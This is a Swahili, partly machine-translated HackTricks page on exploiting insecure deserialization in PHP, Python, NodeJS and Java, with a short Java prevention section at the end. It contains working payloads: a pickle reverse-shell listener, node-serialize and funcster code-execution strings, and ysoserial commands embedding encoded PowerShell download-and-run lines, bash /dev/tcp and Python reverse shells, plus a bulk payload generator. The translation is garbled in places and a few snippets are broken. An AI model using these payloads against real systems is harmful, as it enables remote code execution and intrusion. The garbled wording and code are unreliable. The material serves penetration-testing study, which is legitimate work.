Deserialization

Jifunze kuhusu ufisadi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Ufisadi wa Data unaeleweka kama njia ya kubadilisha kitu kuwa muundo unaozuia, kwa lengo la kuhifadhi kitu au kutuma kama sehemu ya mchakato wa mawasiliano. Mbinu hii mara nyingi hutumiwa kuhakikisha kwamba kitu kinaweza kurejeshwa wakati mwingine, kudumisha muundo na hali yake.

Ufisadi wa Data, kinyume chake, ni mchakato unaopinga ufisadi wa data. Inahusisha kuchukua data iliyopangwa kwa muundo fulani na kuirekebisha kurudi kwenye kitu.

Ufisadi wa Data unaweza kuwa hatari kwa sababu inaweza kuruhusu wachomaji kubadilisha data iliyofisadiwa kutekeleza nambari hatari au kusababisha tabia isiyotarajiwa kwenye programu wakati wa mchakato wa kurejesha kitu.

PHP

Katika PHP, njia maalum za kichawi hutumiwa wakati wa mchakato wa ufisadi na ufisadi wa data:

  • __sleep: Inaitwa wakati kitu kinapotumiwa. Mbinu hii inapaswa kurudisha safu ya majina ya mali zote za kitu ambazo zinapaswa kufisadiwa. Mara nyingi hutumiwa kuhifadhi data inayosubiri au kutekeleza kazi za kusafisha sawa.

  • __wakeup: Inaitwa wakati kitu kinapotumiwa. Hutumiwa kurejesha tena uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa ufisadi na kutekeleza kazi zingine za kuanzisha upya.

  • __unserialize: Mbinu hii inaitwa badala ya __wakeup (ikiwa ipo) wakati kitu kinapotumiwa. Hutoa udhibiti zaidi juu ya mchakato wa ufisadi ikilinganishwa na __wakeup.

  • __destruct: Mbinu hii inaitwa wakati kitu kinapokuwa karibu kuharibiwa au wakati skripti inamalizika. Kawaida hutumiwa kwa kazi za kusafisha, kama kufunga vitambulisho vya faili au uhusiano wa database.

  • __toString: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kusoma faili au kazi zingine kulingana na wito wa kazi ndani yake, kutoa uwakilishi wa maandishi wa kitu.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ikiangalia matokeo unaweza kuona kwamba kazi __wakeup na __destruct zinaitwa wakati kitu kinapodeserialized. Tafadhali kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi ya __toString inaitwa wakati unapojaribu kuchapisha sifa fulani, lakini inaonekana kwamba haifanyiki tena.

Mbinu ya __unserialize(array $data) inaitwa badala ya __wakeup() ikiwa imefanywa katika darasa. Inakuruhusu kudeserialize kitu kwa kutoa data iliyoserilishwa kama safu. Unaweza kutumia mbinu hii kudeserialize mali na kutekeleza kazi zozote muhimu wakati wa deserialization.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Unaweza kusoma mfano wa PHP ulioelezewa hapa: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hapa https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf au hapa https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Unaweza kutumia vibaya utendaji wa kupakia moja kwa moja wa PHP ili kupakia faili za php za kupendelea na zaidi:

pagePHP - Deserialization + Autoload Classes

Kufanya Thamani za Kumbukumbu Zilizorejelewa

Ikiwa kwa sababu fulani unataka kusahihisha thamani kama marejeleo kwa thamani nyingine iliyosahihishwa unaweza:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC inaweza kukusaidia kutengeneza mizigo ya kudanganya ili kutumia deserializations za PHP. Tafadhali kumbuka kwamba katika visa kadhaa hutaweza kupata njia ya kutumia deserialization katika msimbo wa chanzo wa programu lakini unaweza kutumia msimbo wa nyongeza za PHP za nje. Hivyo, ikiwa unaweza, angalia phpinfo() ya seva na tafuta kwenye mtandao (na hata kwenye vifaa vya PHPGGC) baadhi ya vifaa vinavyowezekana unavyoweza kutumia.

phar:// metadata deserialization

Ikiwa umepata LFI ambayo inasoma faili tu na sio kutekeleza msimbo wa php ndani yake, kwa mfano kutumia kazi kama file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize()**. Unaweza jaribu kutumia deserialization inayotokea wakati wa kusoma faili kwa kutumia itifaki ya phar. Kwa maelezo zaidi soma chapisho lifuatalo:

pagephar:// deserialization

Python

Pickle

Wakati kitu kinapopata unpickle, kazi __reduce__ itatekelezwa. Ikidanganywa, seva inaweza kurudisha kosa.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Kwa habari zaidi kuhusu kutoroka kutoka jela za pickle angalia:

pageBypass Python sandboxes

Yaml & jsonpickle

Ukurasa ufuatao unawasilisha mbinu ya kutumia vibaya uhariri usio salama katika maktaba za python za yamls na unamalizia na chombo kinachoweza kutumika kuzalisha mzigo wa uhariri wa RCE kwa Pickle, PyYAML, jsonpickle na ruamel.yaml:

pagePython Yaml Deserialization

Uchafuzi wa Darasa (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS haina "vifaa vya uchawi" kama PHP au Python ambavyo vitatekelezwa tu kwa kujenga kitu. Lakini ina vifaa ambavyo mara nyingi hutumiwa hata bila kuita moja kwa moja kama vile toString, valueOf, toJSON. Kwa kufanya uhariri wa uhariri unaweza kuathiri vifaa hivi kutekeleza nambari nyingine (kwa uwezekano wa kutumia uchafuzi wa protini) unaweza kutekeleza nambari ya aina yoyote unapotumiwa.

Njia nyingine ya "uchawi" ya kuita kazi bila kuita moja kwa moja ni kwa kuathiri kitu kinachorudishwa na kazi ya async (ahadi). Kwa sababu, ikiwa unabadilisha kitu hicho kurudi katika ahadi nyingine na mali iliyoitwa "kisha" ya aina ya kazi, itatekelezwa tu kwa sababu imerudishwa na ahadi nyingine. Fuata kiungo hiki kwa habari zaidi.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ na uchafuzi wa prototype

Ikiwa unataka kujifunza kuhusu mbinu hii angalia mafunzo yafuatayo:

pageNodeJS - __proto__ & prototype Pollution

Maktaba hii inaruhusu kuserilisha kazi. Mfano:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Kitu kilichoserilishwa kitakuwa kama:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Unaweza kuona katika mfano kwamba wakati kazi inapotiwa serialize bendera ya _$$ND_FUNC$$_ inaongezwa kwenye kitu kilichoserilishwa.

Ndani ya faili node-serialize/lib/serialize.js unaweza kupata bendera ile ile na jinsi nambari inavyoitumia.

Kama unavyoona katika kipande cha mwisho cha nambari, ikiwa bendera inapatikana eval hutumiwa kudesirialisha kazi, kwa hivyo kimsingi matokeo ya mtumiaji yanatumika ndani ya kazi ya eval.

Hata hivyo, kudesirialisha tu kazi haitaitekeleza kama ingekuwa ni lazima sehemu fulani ya nambari iwe inaita y.rce katika mfano wetu na hiyo ni isiyowezekana sana. Kwa njia yoyote, unaweza tu kubadilisha kitu kilichoserilishwa kwa kuongeza baadhi ya mabano ili kutekeleza kiotomatiki kazi iliyoserilishwa wakati kitu kimeserilishwa upya. Katika kipande cha nambari kifuatacho tambua mabano ya mwisho na jinsi kazi ya unserialize itakavyotekeleza nambari:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Kama ilivyotangulia kutajwa, maktaba hii itapata nambari baada ya _$$ND_FUNC$$_ na kuitekeleza kutumia eval. Kwa hivyo, ili kitekeleze nambari moja kwa moja unaweza kufuta sehemu ya uundaji wa kazi na mabano ya mwisho na kuendesha JS kwa mstari mmoja kama ilivyo katika mfano ufuatao:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Unaweza kupata hapa maelezo zaidi kuhusu jinsi ya kutumia udhaifu huu.

Jambo la kuvutia kuhusu funcster ni upatikanaji usio wa vitu vilivyojengwa kawaida; viko nje ya wigo wa kufikiwa. Kizuizi hiki kinazuia utekelezaji wa namna ya kuita njia kwenye vitu vilivyojengwa, ikisababisha makosa kama "ReferenceError: console is not defined" wakati amri kama console.log() au require(something) zinapotumiwa.

Licha ya kikwazo hiki, kurejesha upatikanaji kamili wa muktadha wa ulimwengu, ikiwa ni pamoja na vitu vilivyojengwa kawaida, kunawezekana kupitia njia maalum. Kwa kutumia moja kwa moja muktadha wa ulimwengu, mtu anaweza kukiuka kizuizi hiki. Kwa mfano, upatikanaji unaweza kurejeshwa kutumia sehemu ifuatayo:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Kwataarifa zaidi soma chanzo hiki.

Pakiti ya serialize-javascript imeundwa kwa ajili ya madhumuni ya uhuishaji pekee, ikikosa uwezo wowote wa kujijenga kwa deserialization. Watumiaji wanawajibika kutekeleza njia yao wenyewe ya deserialization. Matumizi moja kwa moja ya eval inapendekezwa na mfano rasmi kwa kufanya data iliyohuishwa:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Ikiwa kazi hii hutumiwa kwa kusahihisha vitu unaweza kuitumia kwa urahisi:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Kwamambo zaidi soma chanzo hiki.

Maktaba ya Cryo

Kwenye kurasa zifuatazo unaweza kupata habari kuhusu jinsi ya kutumia maktaba hii kutekeleza amri za kupindukia:

Java - HTTP

Katika Java, wito wa deserialization hutekelezwa wakati wa mchakato wa deserialization. Utekelezaji huu unaweza kutumiwa na wachomaji ambao hupanga mizigo ya kudhuru ambayo huchochea wito huu, ikisababisha utekelezaji wa hatua zenye madhara.

Alama za Vidole

Sanduku Jeusi

Ili kutambua uwezekano wa udhaifu wa serialization katika msingi wa kanuni, tafuta:

  • Darasa zinazotekeleza kiolesura cha Serializable.

  • Matumizi ya java.io.ObjectInputStream, readObject, readUnshare kazi.

Toa tahadhari maalum kwa:

  • XMLDecoder iliyotumiwa na vigezo vilivyowekwa na watumiaji wa nje.

  • Mbinu ya fromXML ya XStream, hasa ikiwa toleo la XStream ni chini au sawa na 1.46, kwani inaweza kuwa na maswala ya serialization.

  • ObjectInputStream iliyounganishwa na mbinu ya readObject.

  • Utekelezaji wa mbinu kama vile readObject, readObjectNodData, readResolve, au readExternal.

  • ObjectInputStream.readUnshared.

  • Matumizi ya jumla ya Serializable.

Sanduku Nyeusi

Kwa upimaji wa sanduku nyeusi, tafuta sahihi maalum au "Magic Bytes" ambayo inaashiria vitu vilivyoserilishwa vya Java (vinavyotoka kwa ObjectInputStream):

  • Mtindo wa Hexadecimal: AC ED 00 05.

  • Mtindo wa Base64: rO0.

  • Vichwa vya majibu ya HTTP vikiwa na Content-type imewekwa kama application/x-java-serialized-object.

  • Mtindo wa Hexadecimal unaonyesha ujazo wa awali: 1F 8B 08 00.

  • Mtindo wa Base64 unaonyesha ujazo wa awali: H4sIA.

  • Faili za wavuti zenye kielezo cha .faces na marameteri ya faces.ViewState. Kugundua mifano hii katika programu ya wavuti inapaswa kuchochea uchunguzi kama ilivyoelezwa katika chapisho kuhusu Deserialization ya Java JSF ViewState.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Angalia kama kuna udhaifu

Ikiwa unataka kujifunza kuhusu jinsi shambulio la Deserialized la Java linavyofanya kazi unapaswa kutazama Msingi wa Deserialization ya Java, Deserialization ya Java DNS, na Malipo ya CommonsCollection1.

Jaribio la White Box

Unaweza kuangalia ikiwa kuna programu yoyote iliyosakinishwa yenye udhaifu uliojulikana.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Unaweza kuangalia maktaba zote ambazo inajulikana kuwa na mapungufu na ambazo Ysoserial inaweza kutoa shambulio. Au unaweza kuangalia maktaba zilizoorodheshwa kwenye Java-Deserialization-Cheat-Sheet. Unaweza pia kutumia gadgetinspector kutafuta mnyororo wa vifaa vya uwezekano ambao unaweza kutumiwa kwa shambulio. Unapokuwa unatumia gadgetinspector (baada ya kuujenga) usijali juu ya onyo/makosa mengi yanayopita na ruhusu iishe. Itaandika matokeo yote chini ya gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Tafadhali, kumbuka kwamba gadgetinspector haitaunda shambulio na inaweza kuonyesha matokeo sahihi.

Jaribio la Sanduku Jeusi

Kwa kutumia kifaa cha Burp gadgetprobe unaweza kutambua maktaba zipi zinapatikana (na hata toleo). Kwa habari hii inaweza kuwa rahisi kuchagua mzigo wa kutumia kwa shambulio la mapungufu. Soma hii kujifunza zaidi kuhusu GadgetProbe. GadgetProbe inazingatia ObjectInputStream deserializations.

Kwa kutumia kifaa cha Burp Java Deserialization Scanner unaweza kutambua maktaba zenye mapungufu yanayoweza kutumiwa na ysoserial na kuzitumia. Soma hii kujifunza zaidi kuhusu Java Deserialization Scanner. Java Deserialization Scanner inazingatia ObjectInputStream deserializations.

Unaweza pia kutumia Freddy kutambua mapungufu ya deserializations katika Burp. Programu-jalizi hii itagundua mapungufu siyo tu yanayohusiana na ObjectInputStream bali pia mapungufu kutoka maktaba za deserializations za Json na Yml. Kwa hali ya kazi, itajaribu kuthibitisha kwa kutumia mzigo wa kulala au DNS. Pata habari zaidi kuhusu Freddy hapa.

Jaribio la Ufananisho

Si kila kitu ni kuhusu kuangalia kama maktaba yoyote yenye mapungufu inatumika kwenye seva. Mara nyingine unaweza kubadilisha data ndani ya kitu kilichofanyiwa ufasiri na kupita baadhi ya ukaguzi (labda kukupa mamlaka ya msimamizi ndani ya programu-jalizi ya wavuti). Ikiwa unapata kitu kilichofanyiwa ufasiri wa Java kinachotumwa kwenye programu-jalizi ya wavuti, unaweza kutumia SerializationDumper kuchapisha kwa muundo unaoweza kusomwa na binadamu zaidi kitu kilichofanyiwa ufasiri kinachotumwa. Kujua data unayotuma itakuwa rahisi kuihariri na kupita baadhi ya ukaguzi.

Shambulio

ysoserial

Zana kuu ya kutumia ufasiri wa Java ni ysoserial (pakua hapa). Unaweza pia kuzingatia kutumia ysoseral-modified ambayo itakuruhusu kutumia amri ngumu (kwa mfano na mabomba). Tafadhali kumbuka kuwa zana hii inazingatia kwa kutekeleza shambulio kwenye ObjectInputStream. Ningeanza kutumia mzigo wa "URLDNS" kabla ya mzigo wa RCE kujaribu kama uingizaji ni wa kufanikiwa. Hata hivyo, kumbuka kwamba labda mzigo wa "URLDNS" haifanyi kazi lakini mzigo mwingine wa RCE unafanya kazi.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Upon creating a payload for java.lang.Runtime.exec() unaweza kutumia herufi maalum kama vile ">" au "|" kwa kusudi la kurekebisha matokeo ya utekelezaji, "$()" kwa kutekeleza amri au hata kupeleka vigezo kwa amri iliyotenganishwa na nafasi (unaweza kutumia echo -n "hello world" lakini huwezi kutumia python2 -c 'print "Hello world"'). Ili kuweza kuweka kwa usahihi payload unaweza kutumia ukurasa huu wa wavuti.

Jisikie huru kutumia hati ifuatayo kuunda mizigo yote inayowezekana ya utekelezaji wa nambari kwa Windows na Linux kisha kuzipima kwenye ukurasa wa wavuti ulio hatarini:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Unaweza kutumia https://github.com/pwntester/SerialKillerBypassGadgetCollection pamoja na ysoserial kuunda mizozo zaidi. Taarifa zaidi kuhusu chombo hiki zinapatikana katika slaidi za mazungumzo ambapo chombo kilipokuwa kikionyeshwa: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec inaweza kutumika kuunda mizigo ya kudanganya kutumia maktaba tofauti za uhuishaji wa Json na Yml katika Java. Ili kutekeleza mradi huo nilihitaji kuongeza hizi tegemezi kwa pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Sakinisha maven, na kupachika mradi:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Soma zaidi kuhusu maktaba hii ya Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Maabara

Kwa Nini

Java hutumia uhuishaji kwa madhumuni mbalimbali kama vile:

  • Maombi ya HTTP: Uhuishaji unatumika sana katika usimamizi wa vigezo, ViewState, vidakuzi, n.k.

  • RMI (Remote Method Invocation): Itifaki ya Java RMI, ambayo inategemea kabisa uhuishaji, ni msingi wa mawasiliano ya mbali katika maombi ya Java.

  • RMI juu ya HTTP: Njia hii hutumiwa kawaida na maombi ya wavuti ya mteja tajiri yanayotumia Java, yakitumia uhuishaji kwa mawasiliano yote ya vitu.

  • JMX (Java Management Extensions): JMX hutumia uhuishaji kwa kutuma vitu kupitia mtandao.

  • Itifaki za Desturi: Katika Java, mazoezi ya kawaida ni kutuma vitu vya Java moja kwa moja, ambavyo vitadhihirishwa katika mifano ya kutumia udhaifu inayokuja.

Kuzuia

Vitu vya Muda

Darasa linalotekeleza Serializable linaweza kutekeleza kama transient kwa kila kitu ndani ya darasa ambacho hakitakiwi kuwa uhuishaji. Kwa mfano:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Epuka Ufisadi wa darasa ambalo linahitaji kutekeleza Serializable

Katika hali ambapo vitu fulani lazima viwekeleze Serializable kwa sababu ya mfuatano wa darasa, kuna hatari ya ufisadi usiokusudiwa. Ili kuzuia hili, hakikisha vitu hivi havitaweza kufisuliwa kwa kufafanua njia ya final ya readObject() ambayo kila wakati itatoa kosa, kama inavyoonyeshwa hapa chini:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Kuboresha Usalama wa Deserialization katika Java

Kubinafsisha java.io.ObjectInputStream ni njia halisi ya kuboresha mchakato wa deserialization. Njia hii ni sahihi wakati:

  • Msimbo wa deserialization uko chini ya udhibiti wako.

  • Darasa zinazotarajiwa kwa deserialization zinajulikana.

Badilisha resolveClass() mbinu ili kuzuia deserialization kwa darasa zilizoruhusiwa pekee. Hii inazuia deserialization ya darasa lolote isipokuwa zile zilizoruhusiwa kwa uwazi, kama katika mfano ufuatao ambao unazuia deserialization hadi darasa la Bicycle pekee:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Kutumia Java Agent kwa Kuboresha Usalama hutoa suluhisho la kurudi nyuma wakati marekebisho ya nambari hayawezekani. Mbinu hii inatumika hasa kwa kuweka orodha nyeusi ya darasa zenye madhara, kwa kutumia parameter ya JVM:

-javaagent:name-of-agent.jar

Inatoa njia ya kuhakikisha deserialization kwa njia ya kudumu, bora kwa mazingira ambapo mabadiliko ya mara moja ya nambari ni ngumu.

Angalia mfano katika rO0 by Contrast Security

Kutekeleza Vichungi vya Serialization: Java 9 iliingiza vichungi vya serialization kupitia kiolesura cha ObjectInputFilter, kutoa mfumo wenye nguvu wa kueleza vigezo ambavyo vitu vilivyosanidishwa lazima vikidhi kabla ya kudeserilishwa. Vichungi hivi vinaweza kutumika kimataifa au kwa kila mtiririko, kutoa udhibiti wa kina juu ya mchakato wa deserialization.

Ili kutumia vichungi vya serialization, unaweza kuweka kichungi cha kimataifa kinachotumika kwa shughuli zote za deserialization au kuweka kwa muda kwa mtiririko maalum. Kwa mfano:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Kutumia Maktaba za Nje kwa Usalama Ulioboreshwa: Maktaba kama NotSoSerial, jdeserialize, na Kryo hutoa huduma za juu za kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa safu za ziada za usalama, kama vile kuweka safu nyeupe au nyeusi ya madarasa, kuchambua vitu vilivyoseriwa kabla ya deserialization, na kutekeleza mikakati ya kibinafsi ya serialization.

  • NotSoSerial inazuia mchakato wa deserialization kuzuia utekelezaji wa nambari isiyotegemewa.

  • jdeserialize inaruhusu uchambuzi wa vitu vilivyoseriwa vya Java bila kuvifanyia deserialization, kusaidia kutambua yaliyomo yanayoweza kuwa na nia mbaya.

  • Kryo ni mfumo mbadala wa serialization unaozingatia kasi na ufanisi, ukitolea mikakati inayoweza kusanidiwa ya serialization inayoweza kuboresha usalama.

Marejeo

Uingizaji wa JNDI & log4Shell

Pata maelezo kuhusu Uingizaji wa JNDI, jinsi ya kutumia vibaya kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell (na mfano wa kasoro hii) kwenye ukurasa ufuatao:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Huduma ya Ujumbe ya Java

